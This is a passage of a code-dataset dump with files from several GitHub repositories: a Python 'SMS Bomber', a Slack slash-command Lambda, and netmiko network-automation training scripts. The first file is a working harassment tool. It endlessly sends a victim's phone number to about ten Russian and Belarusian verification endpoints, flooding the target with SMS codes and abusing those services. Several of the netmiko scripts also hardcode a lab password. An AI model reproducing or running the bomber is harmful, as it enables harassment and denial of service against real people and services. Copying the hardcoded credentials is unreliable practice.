dop3file/Elizabeth | https://github.com/dop3file/Elizabeth | ce72b5fc80272fea56c221c500dc2c2b592ba828 | 67d2a4379f158bb1f915184ebe3a73140b12d783 | c881404201cfdc4d08f5c797abb9a02cbcd0ca8a | refs/heads/main | 2023-01-21T04:56:45.761272 | 2020-12-01T23:56:24 | 2020-12-01T23:56:24 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5831223726272583,
"alphanum_fraction": 0.6012658476829529,
"avg_line_length": 41.09090805053711,
"blob_id": "694aad4fb11411fc4e3a2b2cb6a062ecaf9b788c",
"content_id": "3257a16a3b8bd3b77a9fcb4fa54ffd11a8ac6cdf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2403,
"license_type": "no_license",
"max_line_length": 202,
"num_lines": 55,
"path": "/main.py",
"repo_name": "dop3file/Elizabeth",
"src_encoding": "UTF-8",
"text": "import requests\r\nfrom fake_useragent import UserAgent\r\nimport time\r\n\r\n\r\nclass SMSBomber:\r\n\tdef __init__(self,number):\r\n\t\tself.number = number\r\n\t\tself.service = {\r\n\t\t\t\t\t 'https://youla.ru/web-api/auth/request_code' : {'data' : {'phone': number}},\r\n\t\t\t\t\t 'https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru' : {'data' : {'phone': number}},\r\n\t\t\t\t\t 'https://www.icq.com/smsreg/requestPhoneValidation.php' : {'data' : {'msisdn': number, \"locale\": 'en', 'countryCode': 'ru','version': '1', \"k\": \"ic1rtwz1s1Hj1O0r\", \"r\": \"46763\"}},\r\n\t\t\t\t\t 'https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone' : {'data' : {\"st.r.phone\": number}},\r\n\t\t\t\t\t 'https://cloud.mail.ru/api/v2/notify/applink' : {'data' : {\"phone\": number, \"api\": 2, \"email\": \"email\",\"x-email\": \"x-email\"}},\r\n\t\t\t\t\t 'https://eda.yandex/api/v1/user/request_authentication_code' : {'json' : {\"phone_number\": number}},\r\n\t\t\t\t\t 'https://dodopizza.by/api/sendconfirmationcode' : {'data' : {'phoneNumber' : number}},\r\n\t\t\t\t\t 'https://www.slivki.by/login/send-code/' : {'get' : number},\r\n\t\t\t\t\t 'https://pizzasmile.by/' : {'data' : {'component' : ' bxmaker.authuserphone.login', 'sessid' : '7afa7030de05529fa57e471ca1353096', 'method' : 'sendCode', 'phone' : number, 'registration' : 'Y'}},\r\n\t\t\t\t\t 'https://delivio.by/be/api/register' : {'json' : {'phone' : number}},\r\n\t\t\t\t\t }\r\n\t\tself.delay = 60\r\n\r\n\tdef attack(self):\r\n\t\tprint(\"Hello,it's Elizabeth!\\nWith luvv from Belarus\\nHappy New Year,bruh\")\r\n\r\n\t\tuser_agent = UserAgent().random\r\n\t\theaders = {'user_agent' : user_agent}\r\n\t\titeration = 0\r\n\r\n\t\twhile True:\r\n\t\t\tfor key,value in self.service.items():\r\n\t\t\t\tfor _type,meta in value.items():\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tif _type == 'data':\r\n\t\t\t\t\t\t\trequest = requests.post(key,\r\n\t\t\t\t\t\t\t\t headers=headers,data=meta)\r\n\t\t\t\t\t\telif _type == 'json':\r\n\t\t\t\t\t\t\trequest = requests.post(key,\r\n\t\t\t\t\t\t\t\t headers=headers,json=meta)\r\n\t\t\t\t\t\telif _type == 'get':\r\n\t\t\t\t\t\t\trequest = requests.get(key + self.number,headers=headers)\r\n\t\t\t\t\t\tprint(f'[✔]{key.split(\"/\")[2].title()} выполнен!')\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tprint(f'[✖]{key.split(\"/\")[0]} не выполнен')\r\n\t\t\t# print(request.text) # FOR DEBUG\r\n\t\t\titeration += 1\r\n\t\t\tprint(f'{iteration} круг пройден')\r\n\t\t\ttime.sleep(self.delay)\r\n\r\n\t\t\t\r\n\r\nif __name__ == '__main__':\r\n\tnumber = input('Write your number : ')\r\n\tsmsbomb = SMSBomber(number)\r\n\tsmsbomb.attack()\r\n"
},
{
"alpha_fraction": 0.800000011920929,
"alphanum_fraction": 0.800000011920929,
"avg_line_length": 14,
"blob_id": "dc08479728e171647691271978665b5ec811273a",
"content_id": "e49eee7ab2b3fc5c06bafb4706caad8abb35559b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 30,
"license_type": "no_license",
"max_line_length": 17,
"num_lines": 2,
"path": "/README.md",
"repo_name": "dop3file/Elizabeth",
"src_encoding": "UTF-8",
"text": "# Elizabeth\nSimple SMS Bomber\n"
}
] | 2 |
mdzhang/mbot2 | https://github.com/mdzhang/mbot2 | a5c74d5695a0ca8622436f1f491da8b260ed46bb | 1513ebf291eb31317e1e040de2f2f40b8a5cf3d6 | 71efabb080e717c495dccfdc85d7aef13b785071 | refs/heads/master | 2020-04-11T05:29:40.474812 | 2018-12-13T14:24:41 | 2018-12-13T14:24:41 | 161,551,221 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7460317611694336,
"alphanum_fraction": 0.7936508059501648,
"avg_line_length": 14.75,
"blob_id": "0415e046985272585c9d52c1fb2ae8cf9cafeb92",
"content_id": "270d168484b5e0e7d9936bb4fc842af0c14f6606",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 63,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 4,
"path": "/requirements.txt",
"repo_name": "mdzhang/mbot2",
"src_encoding": "UTF-8",
"text": "requests\n\n# serverless-package-python-functions\nipython==7.0.1\n"
},
{
"alpha_fraction": 0.5758880376815796,
"alphanum_fraction": 0.5920344591140747,
"avg_line_length": 24.80555534362793,
"blob_id": "9ca92be4efd9da3964ab82b5cb37ac696db76d56",
"content_id": "0a51af6f43d45835e81767bfede17818f03961d0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 929,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 36,
"path": "/pong/lambda.py",
"repo_name": "mdzhang/mbot2",
"src_encoding": "UTF-8",
"text": "import json\nimport logging\nfrom urllib.parse import parse_qs\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\n\n\ndef respond(err, res=None):\n response = {\n \"statusCode\": \"400\" if err else \"200\",\n \"body\": err.message if err else json.dumps(res),\n \"headers\": {\"Content-Type\": \"application/json\"},\n }\n\n return response\n\n\ndef handle(event, context):\n logger.debug(json.dumps(event))\n params = parse_qs(event[\"body\"])\n\n # token = params[\"token\"][0]\n # team_id = params[\"team_id\"][0]\n # channel_id = params[\"channel_id\"][0]\n # user_id = params[\"user_id\"][0]\n # user = params[\"user_name\"][0]\n command = params[\"command\"][0]\n # channel = params[\"channel_name\"][0]\n # command_text = params[\"text\"][0]\n # response_url = params[\"response_url\"][0]\n\n return respond(None, res={\n \"response_type\": \"in_channel\",\n \"text\": command,\n })\n"
},
{
"alpha_fraction": 0.739234447479248,
"alphanum_fraction": 0.7834928035736084,
"avg_line_length": 35.34782791137695,
"blob_id": "57abf6de77bdadfc1473b06d520e4501e4b2754a",
"content_id": "90750a1d3679d174c12c5332637078402c2907a8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Makefile",
"length_bytes": 836,
"license_type": "no_license",
"max_line_length": 294,
"num_lines": 23,
"path": "/Makefile",
"repo_name": "mdzhang/mbot2",
"src_encoding": "UTF-8",
"text": "# install Node and Python requirements\ninstall:\n\tyarn\n\tpip install -r requirements.txt\n\n# setup AWS credentials\nconfig-deploy:\n\tserverless config credentials --provider aws --key $$AWS_ACCESS_KEY_ID --secret $$AWS_SECRET_ACCESS_KEY --profile $$AWS_PROFILE\n\n# deploy lambdas etc.\ndeploy:\n\tserverless deploy --stage $$NODE_ENV\n\n# remove any AWS resources created via this serverless service\ndestroy:\n\tserverless remove --stage $$NODE_ENV\n\n# get all info on existing serverless resources\ninfo:\n\tserverless info --stage $$NODE_ENV\n\nsample-curl:\n\thttp -f POST $$ENDPOINT 'Content-type:application/x-www-form-urlencoded' token=gIkuvaNzQIHg97ATvDxqgjtO team_id=T0001 team_domain=example enterprise_id=E0001 enterprise_name=Globular%20Construct%20Inc channel_id=C2147483705 channel_name=test user_id=U2147483697 user_name=Steve command=/weather text=94070\n"
},
{
"alpha_fraction": 0.5918018817901611,
"alphanum_fraction": 0.6011955738067627,
"avg_line_length": 17.58730125427246,
"blob_id": "d90e71035530aafa0ae7104021bf05394f87c0f8",
"content_id": "86e6b2a6577c317749ae2d8aa4f86aad3efb64d5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1171,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 63,
"path": "/README.md",
"repo_name": "mdzhang/mbot2",
"src_encoding": "UTF-8",
"text": "# mbot2\n\nLambda to receive Slack commands, deployed to AWS via Serverless.\n\n## Contributing\n\n### Environment setup\n\n1. Install Node with `yarn`\n1. Install Python with `pip`\n1. Install requirements\n ```sh\n make install\n ```\n1. Setup environment variables, including `$PATH` modification\n ```sh\n cp .envrc.example .envrc\n # replace placeholders\n ```\n1. Configure serverless\n ```sh\n make config-deploy\n ```\n\n### Deploying\n\n1. To deploy lambda:\n ```sh\n make deploy\n ```\n1. To destroy all deployed lambdas:\n ```sh\n make destroy\n ```\n\n### Adding new functions\n\nTo add a lambda `foo`:\n\n1. add the following to the top level directory\n ```\n \\_ foo\n - lambda.py\n - requirements.txt\n ```\n\n where `lambda.py` has a `handle` function defined globally\n1. Update `serverless.yml`\n\n ```yaml\n functions:\n\n ...\n\n foo:\n name: foo-${opt:stage}\n handler: lambda.handle\n package:\n include:\n - foo\n artifact: ${self:custom.pkgPyFuncs.buildDir}/foo-${opt:stage}.zip\n ```\n1. To reuse modules in `lib`, simply add `import bar` where `./lib/bar.py` exists\n"
}
] | 4 |
siliconMagic/Play-with-Machine-Learning-Algorithms | https://github.com/siliconMagic/Play-with-Machine-Learning-Algorithms | e70c0618c27c46bbfcfef2116a1ba35cbd2dc6d7 | 12590f6b82b9365600f1ba34ea8f36fe077bf31e | c2c97d2ca45dba1b44add64cdb3ae93402f4ffe3 | refs/heads/master | 2020-03-29T11:29:37.894429 | 2018-10-07T07:25:08 | 2018-10-07T07:25:08 | 149,855,322 | 0 | 0 | null | 2018-09-22T07:27:48 | 2018-09-18T02:54:32 | 2018-09-16T18:09:59 | null | [
{
"alpha_fraction": 0.5239852666854858,
"alphanum_fraction": 0.5693199634552002,
"avg_line_length": 23.98630142211914,
"blob_id": "13be780fa9985754262296f9aacecfbd12387159",
"content_id": "1730973c2fec020c3112aed9056d19d53953dd94",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1973,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 73,
"path": "/12-Decision-Tree/07-Problems-of-Decision-Tree/ML_45_Limitation_of_merging_and_finding_set.py",
"repo_name": "siliconMagic/Play-with-Machine-Learning-Algorithms",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\r\n\"\"\"\r\n------------------------------------------------\r\n@File Name : ML_45_Limitation_of_merging_and_finding_set\r\n@Function : \r\n@Author : Minux\r\n@Date : 2018/10/7\r\n@Revised Date : 2018/10/7\r\n------------------------------------------------\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.datasets import load_iris\r\n\r\niris = load_iris()\r\nX = iris.data[:,2:]\r\ny = iris.target\r\n\r\n'''\r\n数据基本分布信息可视化\r\n'''\r\ndef Plot_Info_IRIS():\r\n plt.scatter(X[y==0,0],X[y==0,1])\r\n plt.scatter(X[y==1,0],X[y==1,1])\r\n plt.scatter(X[y==2,0],X[y==2,1])\r\n plt.show()\r\n\r\n\r\n'''\r\n可视化决策边界函数\r\n'''\r\ndef plot_decision_boundary(model, axis):\r\n x0, x1 = np.meshgrid(\r\n np.linspace(axis[0],axis[1],int((axis[1]-axis[0])*100)).reshape(-1,1),\r\n np.linspace(axis[2],axis[3],int((axis[3]-axis[2])*100)).reshape(-1,1)\r\n )\r\n X_new = np.c_[x0.ravel(),x1.ravel()]\r\n\r\n y_predict = model.predict(X_new)\r\n zz = y_predict.reshape(x0.shape)\r\n\r\n from matplotlib.colors import ListedColormap\r\n custom_cmap = ListedColormap(['#EF9A9A','#FFF59D','#90CAF9'])\r\n\r\n plt.contourf(x0,x1,zz,cmap=custom_cmap)\r\n\r\ndef Decision_Tree_Function():\r\n dt_clf = DecisionTreeClassifier(max_depth=2, criterion='entropy', random_state=729)\r\n dt_clf.fit(X, y)\r\n plot_decision_boundary(dt_clf,axis=[0.5, 7.5, 0, 3])\r\n Plot_Info_IRIS()\r\n\r\n'''\r\n说明决策树算法对样本点敏感,但是不稳定\r\n'''\r\ndef Show_Limitation_of_DT():\r\n X_new = np.delete(X, 138, axis=0)\r\n y_new = np.delete(y, 138)\r\n # print(X_new.shape)\r\n # print(y_new.shape)\r\n dt_clf = DecisionTreeClassifier(max_depth=2, criterion='entropy')\r\n dt_clf.fit(X_new, y_new)\r\n plot_decision_boundary(dt_clf, axis=[0.5, 7.5, 0, 3])\r\n Plot_Info_IRIS()\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n # Decision_Tree_Function()\r\n Show_Limitation_of_DT()\r\n"
}
] | 1 |
DIZhang1109/trademe_property | https://github.com/DIZhang1109/trademe_property | fbf0e98fb51ff733255097b6cdc34f5b64ea9795 | 8e68ca161bb6e02aa09bb5d8140e37d726ac54cb | a4976da23ff7f4da81c463bdbbc337aa7c2a1e07 | refs/heads/master | 2020-06-15T04:01:10.744466 | 2016-12-01T20:52:05 | 2016-12-01T20:52:05 | 75,331,724 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5592683553695679,
"alphanum_fraction": 0.5712275505065918,
"avg_line_length": 45.62295150756836,
"blob_id": "fee6bab149eff465c395d84526cff4fec22c64cb",
"content_id": "d1c8c36bac7e0db97b2ffab4f3bfcfed4c201918",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2843,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 61,
"path": "/wellington_property/wellington_property/spiders/property_spider.py",
"repo_name": "DIZhang1109/trademe_property",
"src_encoding": "UTF-8",
"text": "\"\"\"\nThis spider is used to crawl property information in Wellington Region,\nincluding useful information like location, price, area and so on...\n\"\"\"\nimport scrapy\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.selector import Selector\nfrom wellington_property.items import WellingtonPropertyItem\n\n\nclass PropertySpider(CrawlSpider):\n name = 'property_hunt'\n allowed_domains = ['trademe.co.nz']\n start_urls = ['http://www.trademe.co.nz/property/residential-property-for-sale']\n\n rules = (\n Rule(LinkExtractor(allow=('auction-\\d*\\.htm',)), callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n item = WellingtonPropertyItem()\n sel = Selector(response)\n\n # Filter the data only from city Wellington\n if len(sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()) == 4:\n city = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[3].strip()\n else:\n city = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[2].strip()\n\n if city == 'Wellington':\n # Location\n item['city'] = city\n\n if len(sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()) == 4:\n item['suburb'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[2]\n item['address'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[0] + ' ' + \\\n sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[1]\n else:\n item['suburb'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[1]\n item['address'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[1]/td/text()').extract()[0]\n\n # Property type\n item['type'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[3]/td/text()').extract()[0]\n\n # Price and RV price\n item['rv_price'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[6]/td/text()').extract()[0]\n item['price'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[7]/td/text()').extract()[0]\n\n # Land area & floor area\n item['land_area'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[5]/td/text()').extract()[0]\n item['floor_area'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[4]/td/text()').extract()[0]\n\n # Bedroom & bathroom amounts\n item['bedroom'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[2]/td/text()').extract()[0].split(',')[0]\n item['bathroom'] = sel.xpath('//*[@id=\"ListingAttributes\"]/tr[2]/td/text()').extract()[0].split(',')[1]\n\n # TradeMe URL\n item['url'] = response.url\n\n return {k: v.strip() for k, v in item.items()}"
},
{
"alpha_fraction": 0.6177419424057007,
"alphanum_fraction": 0.6193548440933228,
"avg_line_length": 17.235294342041016,
"blob_id": "0fb0dc135e1ff644b2cd38d8b81ff8596df3de43",
"content_id": "525b6bb23de42bcc8f0056b450f4d7e2a14392f6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 620,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 34,
"path": "/wellington_property/wellington_property/items.py",
"repo_name": "DIZhang1109/trademe_property",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# http://doc.scrapy.org/en/latest/topics/items.html\n\nfrom scrapy import Item\nfrom scrapy import Field\n\n\nclass WellingtonPropertyItem(Item):\n # Location\n city = Field()\n suburb = Field()\n address = Field()\n\n # Property type\n type = Field()\n\n # Price and RV price\n rv_price = Field()\n price = Field()\n\n # Land area & floor area\n land_area = Field()\n floor_area = Field()\n\n # Bedroom & bathroom amounts\n bedroom = Field()\n bathroom = Field()\n\n # TradeMe URL\n url = Field()\n"
}
] | 2 |
montejanol/pynet | https://github.com/montejanol/pynet | 65c7608fd6b76f4cd1e453a0c72bb409f6ee7110 | ea39b8b6acfd25bacbef10a8f448be479cb9a9f8 | 7268aee5b4834b9373dfdf2410f6288910b10bbd | refs/heads/master | 2022-12-10T22:30:57.171836 | 2020-09-15T17:43:11 | 2020-09-15T17:43:11 | 282,519,228 | 0 | 0 | null | 2020-07-25T20:22:53 | 2020-07-31T18:04:30 | 2020-07-31T22:08:45 | null | [
{
"alpha_fraction": 0.7414634227752686,
"alphanum_fraction": 0.790243923664093,
"avg_line_length": 40,
"blob_id": "d84af1c6ae16e0e637d3538e895f38127e36debe",
"content_id": "fd219abb8c73a20ba63f86d5eee02a04d6ea272a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 205,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 5,
"path": "/week4/training/netmiko_connect.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from netmiko import ConnectHandler\nfrom routerlogin import cisco3, cisco4, arista1, arista2, arista3, arista4, srx2, nxos1, nxos2\n\nnet_connect = ConnectHandler(**arista1)\nprint(net_connect.find_prompt())\n"
},
{
"alpha_fraction": 0.7108141183853149,
"alphanum_fraction": 0.7181044816970825,
"avg_line_length": 18.5238094329834,
"blob_id": "46bfc4102ee85906b59df93bead4917fa008495c",
"content_id": "998e4f097979327c60a77bb8092efbe3265339b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 823,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 42,
"path": "/week2/sshpython.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from netmiko import ConnectHandler\nfrom getpass import getpass\nimport time\n\ncisco4 = {\n\n\t\"host\": 'cisco4.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": getpass(),\n\t\"secret\": '88newclass',\n\t\"device_type\": 'cisco_ios',\n\t\"session_log\": 'sshpython_log.txt',\n}\n\nnet_connect = ConnectHandler(**cisco4)\n\n\nprint(\"\\nCurrent prompt: \")\noutput = net_connect.find_prompt()\nprint(output)\n\nprint(\"\\nConfig t prompt\")\noutput = net_connect.config_mode()\nprint(output)\n\nprint(\"\\nExit config mode\")\noutput = net_connect.exit_config_mode()\nprint(output)\n\nprint(\"\\nExit Exec priviledge mode\")\nnet_connect.write_channel(\"disable\\n\")\ntime.sleep(2)\noutput = net_connect.read_channel()\nprint(output)\n\nprint(\"\\nRe Enter enable mode\")\nnet_connect.enable()\nprint(net_connect.find_prompt())\n\nnet_connect.disconnect()\n\nprint(\"Your are done bro\")\n\n\n\n"
},
{
"alpha_fraction": 0.6773761510848999,
"alphanum_fraction": 0.6974564790725708,
"avg_line_length": 18.153846740722656,
"blob_id": "5e31a3484c4d12a590aef024e2bcc2cddb58cfaa",
"content_id": "b008c1bc1dba764f156d50d8cd73edb72048e174",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 747,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 39,
"path": "/week2/delay.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from netmiko import ConnectHandler\nfrom getpass import getpass\nfrom datetime import datetime\n\nnxos2 = {\n\n\t\"host\": 'nxos2.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": getpass(),\n\t\"device_type\": 'cisco_ios',\n\t\"global_delay_factor\": 2,\n}\n\ncmd = \"show lldp neighbors detail\"\n\nnet_connect = ConnectHandler(**nxos2)\nstart_time = datetime.now()\noutput1 = net_connect.send_command(cmd)\nend_time = datetime.now()\n\nprint(output1)\nprint(\"\\n\" * 3)\n\nprint(start_time)\nprint(end_time)\nprint (end_time - start_time)\nprint(\"#\" * 80)\n\n\nstart_time = datetime.now()\noutput2= net_connect.send_command(cmd, delay_factor = 8)\nend_time = datetime.now()\n\nprint(output1)\nprint(\"\\n\" * 3)\nprint(start_time)\nprint(end_time)\nprint (end_time - start_time)\nprint(\"#\" * 80)\n"
},
{
"alpha_fraction": 0.7294455170631409,
"alphanum_fraction": 0.7361376881599426,
"avg_line_length": 31.59375,
"blob_id": "f5155d5d9361a905b0dfa7ab5938eb5e986fd06e",
"content_id": "3c4caa2d301781e078db8f6b21feefffd86b8a32",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1046,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 32,
"path": "/week2/extend_ping.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "#Code fro Kirk Byers\n\nfrom netmiko import ConnectHandler\nfrom getpass import getpass\n\n\ncisco4 = {\n\n\t\"host\": 'cisco4.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": getpass(),\n\t\"device_type\": 'cisco_ios',\n\t\"session_log\": 'extend_ping.txt',\n}\n\nnet_connect = ConnectHandler(**cisco4)\n\noutput = net_connect.send_command_timing(\n\t\"ping\", strip_prompt=False, strip_command=False)\n\noutput+= net_connect.send_command_timing(\"\\n\", strip_prompt=False, strip_command=False)\noutput+= net_connect.send_command_timing(\"8.8.8.8\", strip_prompt=False, strip_command=False)\noutput+= net_connect.send_command_timing(\"\\n\", strip_prompt=False, strip_command=False)\noutput+= net_connect.send_command_timing(\"\\n\", strip_prompt=False, strip_command=False)\noutput+= net_connect.send_command_timing(\"\\n\", strip_prompt=False, strip_command=False)\noutput+= net_connect.send_command_timing(\"\\n\", strip_prompt=False, strip_command=False)\noutput+= net_connect.send_command_timing(\"\\n\", strip_prompt=False, strip_command=False)\nnet_connect.disconnect()\n\nprint()\n\nprint(output)\n\n\n\n"
},
{
"alpha_fraction": 0.6730245351791382,
"alphanum_fraction": 0.692098081111908,
"avg_line_length": 12.481481552124023,
"blob_id": "ef138680f6e09018d8a2e4bebfb77cf6c8b735b7",
"content_id": "ad84f34b712c585c8da38688975e5f7a2c03909f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 367,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 27,
"path": "/week2/updateconfig.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "from pprint import pprint\nfrom netmiko import ConnectHandler\nfrom getpass import getpass\n\n\ndevice1 = {\n\n\t\"host\": 'cisco4.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": '88newclass',\n\t\"device_type\": 'cisco_ios',\n}\n\n\n\nnet_connect = ConnectHandler(**device1)\n\nprint(net_connect.find_prompt())\n\noutput = net_connect.send_command('ping 8.8.8.8')\n\n\n\n\n\n\nprint(output)\n\n\n\n"
},
{
"alpha_fraction": 0.5306122303009033,
"alphanum_fraction": 0.6224489808082581,
"avg_line_length": 12.857142448425293,
"blob_id": "fc24f071d15212d57274856bc9e6b5beaacba1cf",
"content_id": "da98e082aa5f4686f393aa60b77605daa0accbd7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 98,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 7,
"path": "/week4/training/expressions.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "import re\n\nstring = '192.168.1.1'\n\nsearch = re.search(r\"(\\S+)\", string).group(1)\n\nprint (search)\n\n"
},
{
"alpha_fraction": 0.5735294222831726,
"alphanum_fraction": 0.5735294222831726,
"avg_line_length": 10.166666984558105,
"blob_id": "6af8634f3830bdf3dd6e68165aaa25c3680ce68e",
"content_id": "47d92d1939c3c6d0de7c88c68fa3c60721e346df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 136,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 12,
"path": "/training/training.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "f = open(\"file.txt\", mode=\"a\")\n\nf.write(\"Bye World\")\nf.close()\n\nf= open(\"file.txt\", \"r\")\n\noutput = f.read()\n\nprint(output)\n\nf.close()\n\n\n"
},
{
"alpha_fraction": 0.6730769276618958,
"alphanum_fraction": 0.6835664510726929,
"avg_line_length": 16.212121963500977,
"blob_id": "73369290d74f25863565bde4dd2934b98d15c88e",
"content_id": "7fd3a1f1cf9336b98dc6c2dc93467c187726790a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 572,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 33,
"path": "/week2/vlans.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "import os\nfrom pprint import pprint\nfrom netmiko import ConnectHandler, file_transfer\nfrom getpass import getpass\n\n\nnxos1 = {\n\n\t\"host\": 'nxos1.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": '88newclass',\n\t\"device_type\": 'cisco_nxos',\n}\n\nnxos2 = {\n\n\t\"host\": 'nxos2.lasthop.io',\n\t\"username\": 'pyclass',\n\t\"password\": '88newclass',\n\t\"device_type\": 'cisco_nxos',\n\n}\n\n\n\n\nfor switches in (nxos1, nxos2):\n\n\tnet_connect = ConnectHandler(**switches)\n\toutput = net_connect.send_config_from_file(\"vlans.txt\")\n\tprint(output)\n\tnet_connect.save_config()\n\tnet_connect.disconnect()\n\n\n\n\n"
},
{
"alpha_fraction": 0.6355633735656738,
"alphanum_fraction": 0.6637324094772339,
"avg_line_length": 30.5,
"blob_id": "448d5ae1ef642ab704f061b88df9244f613caecb",
"content_id": "c6f3f16e0f0cd84c4ba45efebca82e44aa21ff1b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 568,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 18,
"path": "/week3/step2/step2.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
"text": "import yaml\n\ncisco3 = {\"device_name\": \"cisco3\", \"host_name\": \"cisco3.lasthop.io\"}\ncisco4 = {\"device_name\": \"cisco4\", \"host_name\": \"cisco4.lasthop.io\"}\narista1 = {\"device_name\": \"arista1\", \"host_name\": \"arista1.lasthop.io\"}\narista2 = {\"device_name\": \"arista2\", \"host_name\": \"arista2.lasthop.io\"}\n\n\ndictionary = [cisco3, cisco4, arista1, arista2]\n\nfor my_devices in dictionary:\n my_devices[\"Username\"] = \"admin\"\n my_devices[\"Password\"] = \"cisco\"\n\nprint(dictionary)\n\nwith open(\"yaml.yml\", \"w\") as f:\n yaml.dump(dictionary, f, default_flow_style=False)\n\n"
},
{
"alpha_fraction": 0.7403957843780518,
"alphanum_fraction": 0.743888258934021,
"avg_line_length": 24.969696044921875,
"blob_id": "004849e9ee3a2497c6c557b953520e5287ca9a94",
"content_id": "5df569a74664609b8e5e8acac9991b2e49d1105e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 859,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 33,
"path": "/week3/week6/step6.py",
"repo_name": "montejanol/pynet",
"src_encoding": "UTF-8",
